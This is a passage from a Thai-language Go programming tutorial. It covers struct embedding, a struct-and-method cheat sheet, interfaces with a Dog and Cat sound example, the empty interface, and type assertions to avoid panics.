}</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19; <strong>&#xE01;&#xE32;&#xE23; Embedding Struct Animal &#xE25;&#xE07;&#xE43;&#xE19; Struct Cat</strong> &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; myCat &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Method <strong>Breathe()</strong> &#xE08;&#xE32;&#xE01; Animal &#xE44;&#xE14;&#xE49;</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE19;&#xE33; Struct &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE41;&#xE25;&#xE49;&#xE27;&#xE21;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE31;&#xE1A; Struct &#xE43;&#xE2B;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE25;&#xE32;&#xE22; Struct &#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Embed &#xE2B;&#xE25;&#xE32;&#xE22; Struct &#xE25;&#xE07;&#xE43;&#xE19; Struct &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE44;&#xE14;&#xE49;&#xE40;&#xE0A;&#xE48;&#xE19;&#xE01;&#xE31;&#xE19;</p><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Composition &#xE1C;&#xE48;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Struct Embedding &#xE43;&#xE19; Go &#xE08;&#xE36;&#xE07;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE41;&#xE25;&#xE30;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE19;&#xE33; Code &#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE14;&#xE35;&#xE22;&#xE34;&#xE48;&#xE07;&#xE02;&#xE36;&#xE49;&#xE19; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE1A;&#xE17;&#xE2D;&#xE14;&#xE41;&#xE1A;&#xE1A;&#xE14;&#xE31;&#xE49;&#xE07;&#xE40;&#xE14;&#xE34;&#xE21;</p><h3 id="exercise-2"><em><em><em><em><em><em><em><em>Exercise</em></em></em></em></em></em></em></em></h3><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Struct &quot;Book&quot; &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21; Method &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;</p><p><em><a href="https://forms.gle/o3R1Tb298Ggf3NPZA?ref=blog.pjjop.org"><em><em><em><em><em><em><em>Go Quiz </em></em></em></em>6</em></em></em></a><em><em><em><em><em><em><em> (</em></em></em></em>19<em><em><em><em> &#xE02;&#xE49;&#xE2D;) </em></em></em></em></em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em><em><em><em><em>Q&amp;A?</em></em></em></em></em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-struct-%E0%B9%81%E0%B8%A5%E0%B8%B0-method-%E0%B8%AA%E0%B8%A3%E0%B9%89%E0%B8%B2%E0%B8%87%E0%B8%AA%E0%B8%B4%E0%B9%88%E0%B8%87%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A3%E0%B8%B2%E0%B9%80%E0%B8%AD%E0%B8%87"><em>&#xE23;&#xE27;&#xE21; Cheat Sheet Struct &#xE41;&#xE25;&#xE30; Method : &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE40;&#xE2D;&#xE07;</em></h3><pre><code>Struct &#xE41;&#xE25;&#xE30; Method
-----------------

1. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Struct
   type &#xE0A;&#xE37;&#xE48;&#xE2D;Struct struct {
       Field1 Type1
       Field2 Type2
   }

2. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; Struct
   var1 := &#xE0A;&#xE37;&#xE48;&#xE2D;Struct{Field1: value1, Field2: value2}
   var2 := &amp;&#xE0A;&#xE37;&#xE48;&#xE2D;Struct{Field1: value1, Field2: value2}  // pointer

3. &#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE1F;&#xE34;&#xE25;&#xE14;&#xE4C;
   var1.Field1 = newValue

4. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Method (Value Receiver)
   func (v &#xE0A;&#xE37;&#xE48;&#xE2D;Struct) &#xE0A;&#xE37;&#xE48;&#xE2D;Method() ReturnType {
       // &#xE42;&#xE04;&#xE49;&#xE14;&#xE02;&#xE2D;&#xE07; method
   }

5. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Method (Pointer Receiver)
   func (v *&#xE0A;&#xE37;&#xE48;&#xE2D;Struct) &#xE0A;&#xE37;&#xE48;&#xE2D;Method() ReturnType {
       // &#xE42;&#xE04;&#xE49;&#xE14;&#xE02;&#xE2D;&#xE07; method (&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE04;&#xE48;&#xE32;&#xE43;&#xE19; struct &#xE44;&#xE14;&#xE49;)
   }

6. &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Method
   var1.&#xE0A;&#xE37;&#xE48;&#xE2D;Method()

7. Embedding Structs
   type &#xE0A;&#xE37;&#xE48;&#xE2D;Struct&#xE43;&#xE2B;&#xE21;&#xE48; struct {
       &#xE0A;&#xE37;&#xE48;&#xE2D;Struct&#xE40;&#xE14;&#xE34;&#xE21;
       Field&#xE43;&#xE2B;&#xE21;&#xE48; Type
   }</code></pre><p>Bonus <a href="https://blog.pjjop.org/pair-with-go-1/">Pair Programming with GO : 1</a></p><h2 id="interface-%E0%B8%97%E0%B8%B3%E0%B8%84%E0%B8%A7%E0%B8%B2%E0%B8%A1%E0%B8%A3%E0%B8%B9%E0%B9%89%E0%B8%88%E0%B8%B1%E0%B8%81%E0%B8%81%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%9E%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%99%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88"><strong><strong>Interface : &#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE08;&#xE31;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE43;&#xE2B;&#xE21;&#xE48;</strong></strong></h2><p>Interfaces &#xE43;&#xE19; Go &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19; &quot;<strong>&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&quot; </strong>&#xE17;&#xE35;&#xE48;&#xE1A;&#xE2D;&#xE01;&#xE27;&#xE48;&#xE32;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE44;&#xE14;&#xE49;&#xE1A;&#xE49;&#xE32;&#xE07; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE19;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE44;&#xE2B;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07; &#xE46;</p><p>Interface <strong>&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; </strong>&#xE0A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07; Method &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; &quot;<strong>&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE15;&#xE32;&#xE21;</strong>&quot; Interface &#xE44;&#xE14;&#xE49;&#xE15;&#xE23;&#xE32;&#xE1A;&#xE43;&#xE14;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Method <strong>&#xE15;&#xE23;&#xE07;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;</strong> &#xE21;&#xE31;&#xE19;&#xE08;&#xE36;&#xE07;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE41;&#xE22;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; (What) &#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE19;&#xE33;&#xE44;&#xE1B;&#xE43;&#xE0A;&#xE49; (How &#xE2B;&#xE23;&#xE37;&#xE2D; Implementation) &#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE01;&#xE31;&#xE19;</p><p>&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49; <strong>Soundmaker</strong> &#xE40;&#xE1B;&#xE47;&#xE19; Interface &#xE17;&#xE35;&#xE48; &quot;<strong>&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE27;&#xE48;&#xE32;</strong>&quot; &#xE2B;&#xE23;&#xE37;&#xE2D; &quot;<strong>&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE27;&#xE48;&#xE32;&quot;</strong> &#xE2D;&#xE30;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;&#xE44;&#xE14;&#xE49; &#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Method &quot;MakeSound()&quot; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE19;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE38;&#xE19;&#xE31;&#xE02;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE41;&#xE21;&#xE27; <strong>&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49; Function &quot;AnimalSound()&quot; &#xE23;&#xE31;&#xE1A; Parameter &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Type &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE31;&#xE15;&#xE27;&#xE4C;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE43;&#xE14;&#xE01;&#xE47;&#xE44;&#xE14;&#xE49;&#xE17;&#xE35;&#xE48; &quot;&#xE17;&#xE33;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;&quot; &#xE44;&#xE14;&#xE49;</strong></p><pre><code>// &#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; Interface &#xE23;&#xE30;&#xE1A;&#xE38;&#xE27;&#xE48;&#xE32; Soundmaker &#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE44;&#xE14;&#xE49;&#xE1A;&#xE49;&#xE32;&#xE07;
// &#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE1A;&#xE2D;&#xE01;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19; &#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE41;&#xE04;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE27;&#xE48;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2D;&#xE30;&#xE44;&#xE23; (What)

type Soundmaker interface {
    MakeSound() string
}

// &#xE01;&#xE32;&#xE23;&#xE19;&#xE33;&#xE44;&#xE1B;&#xE43;&#xE0A;&#xE49; (How &#xE2B;&#xE23;&#xE37;&#xE2D; Implementation) &#xE41;&#xE2A;&#xE14;&#xE07;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48; Dog &#xE41;&#xE25;&#xE30; Cat &#xE08;&#xE30;&#xE17;&#xE33;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;
type Dog struct{}
type Cat struct{}

func (d Dog) MakeSound() string {
    return &quot;Woof!&quot;
}

func (c Cat) MakeSound() string {
    return &quot;Meow!&quot;
}

// (Usage) &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Interface Soundmaker &#xE40;&#xE1B;&#xE47;&#xE19; Parameter
func AnimalSound(s Soundmaker) {
    fmt.Println(s.MakeSound())
}

func main() {
    dog := Dog{}
    cat := Cat{}
    
    AnimalSound(dog) // &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C; &quot;Woof!&quot;
    AnimalSound(cat) // &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C; &quot;Meow!&quot;
}</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE48;&#xE07; dog &#xE41;&#xE25;&#xE30; cat &#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; AnimalSound() &#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07; Function &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2A;&#xE31;&#xE15;&#xE27;&#xE4C;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; AnimalSound() &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30; AnimalSound() &#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE39;&#xE49;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE2A;&#xE31;&#xE15;&#xE27;&#xE4C;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;</p><p><strong>Empty Interface</strong> &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Function &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE44;&#xE14;&#xE49;&#xE17;&#xE38;&#xE01;&#xE0A;&#xE19;&#xE34;&#xE14;</p><p>Empty Interface &#xE43;&#xE19; Go &#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE41;&#xE17;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22; <strong>interface{}</strong> &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE43;&#xE19;&#xE40;&#xE27;&#xE2D;&#xE23;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE43;&#xE2B;&#xE21;&#xE48; &#xE46; &#xE02;&#xE2D;&#xE07; Go &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49; <strong>any</strong> &#xE44;&#xE14;&#xE49;</p><p>Empty Interface &#xE40;&#xE1B;&#xE47;&#xE19; Interface &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35; Method &#xE43;&#xE14; &#xE46; &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE44;&#xE27;&#xE49; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE38;&#xE01; &#xE46; Type &#xE43;&#xE19; Go Implement Interface &#xE19;&#xE35;&#xE49;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;</p><pre><code>func printAnything(v interface{}) {
    fmt.Printf(&quot;Type: %T, Value: %v\n&quot;, v, v)
}

func main() {
    printAnything(42)
    printAnything(&quot;Hello&quot;)
    printAnything(true)
    printAnything([]int{1, 2, 3})
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-28-at-12.39.46-PM.png" class="kg-image" alt loading="lazy" width="1868" height="174" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-28-at-12.39.46-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-28-at-12.39.46-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-28-at-12.39.46-PM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-28-at-12.39.46-PM.png 1868w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Empty Interface &#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Go &#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Type &#xE02;&#xE13;&#xE30; Compile &#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE21;&#xE31;&#xE14;&#xE23;&#xE30;&#xE27;&#xE31;&#xE07;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE34;&#xE14; Panic &#xE04;&#xE23;&#xE31;&#xE1A;</p><pre><code>// Function &#xE23;&#xE31;&#xE1A; Empty Interface &#xE40;&#xE1B;&#xE47;&#xE19; Parameter
func doubleValue(v interface{}) {
	// &#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE04;&#xE39;&#xE13;&#xE04;&#xE48;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22; 2 &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Type
	result := v.(int) * 2
	fmt.Println(&quot;Double value:&quot;, result)
}

// &#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01; Function &#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46;
func main() {
	doubleValue(5)       // &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;
	doubleValue(&quot;Hello&quot;) // &#xE40;&#xE01;&#xE34;&#xE14; Panic
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/12/Screenshot-2567-12-16-at-07.12.41.png" class="kg-image" alt loading="lazy" width="1534" height="62" srcset="https://blog.pjjop.org/content/images/size/w600/2024/12/Screenshot-2567-12-16-at-07.12.41.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/12/Screenshot-2567-12-16-at-07.12.41.png 1000w, https://blog.pjjop.org/content/images/2024/12/Screenshot-2567-12-16-at-07.12.41.png 1534w" sizes="(min-width: 720px) 720px"></figure><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Empty Interface &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Type &#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE2D;&#xE07; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE01;&#xE34;&#xE14; Panic &#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE19;&#xE33;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE19;&#xE31;&#xE49;&#xE19;&#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;</p><p>&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE21;&#xE35;&#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE43;&#xE2A;&#xE48;&#xE02;&#xE2D;&#xE07;&#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xE0A;&#xE19;&#xE34;&#xE14; &#xE41;&#xE15;&#xE48;&#xE40;&#xE23;&#xE32;&#xE2D;&#xE22;&#xE32;&#xE01;&#xE2B;&#xE22;&#xE34;&#xE1A;&#xE41;&#xE04;&#xE48;&#xE22;&#xE32;&#xE25;&#xE14;&#xE01;&#xE23;&#xE14;&#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32; &#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE21;&#xE31;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE27;&#xE48;&#xE32;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE2B;&#xE22;&#xE34;&#xE1A;&#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE22;&#xE32;&#xE25;&#xE14;&#xE01;&#xE23;&#xE14;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE1B;&#xE25;&#xE48;&#xE32; &#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE19;&#xE33;&#xE21;&#xE32;&#xE01;&#xE34;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE25;&#xE32;&#xE22;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE22;&#xE32;&#xE25;&#xE14;&#xE19;&#xE49;&#xE33;&#xE15;&#xE32;&#xE25;&#xE43;&#xE19;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE14; &#xE01;&#xE32;&#xE23;&#xE01;&#xE34;&#xE19;&#xE1C;&#xE34;&#xE14;&#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE19;&#xE49;&#xE33;&#xE15;&#xE32;&#xE25;&#xE43;&#xE19;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE14;&#xE15;&#xE48;&#xE33;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE01;&#xE23;&#xE14;&#xE44;&#xE2B;&#xE25;&#xE22;&#xE49;&#xE2D;&#xE19;&#xE44;&#xE21;&#xE48;&#xE14;&#xE35;&#xE02;&#xE36;&#xE49;&#xE19;</p><p>&#xE43;&#xE19; Go &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49; Type Assertion &#xE2B;&#xE23;&#xE37;&#xE2D; Type Switch &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Type &#xE01;&#xE48;&#xE2D;&#xE19;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE04;&#xE48;&#xE32;&#xE08;&#xE23;&#xE34;&#xE07; &#xE46;</p><p><strong>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Type Assertion</strong></p><pre><code>func doubleValue(v interface{}) {
    if intValue, ok := v.(int); ok {
        result := intValue * 2
        fmt.Println(&quot;Double value:&quot;, result)
    } else {
        fmt.Printf(&quot;Cannot double value of type %T\n&quot;, v)
    }
}

func main() {
	doubleValue(5)       // &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;
	doubleValue(&quot;Hello&quot;) // &#xE44;&#xE21;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14; Panic
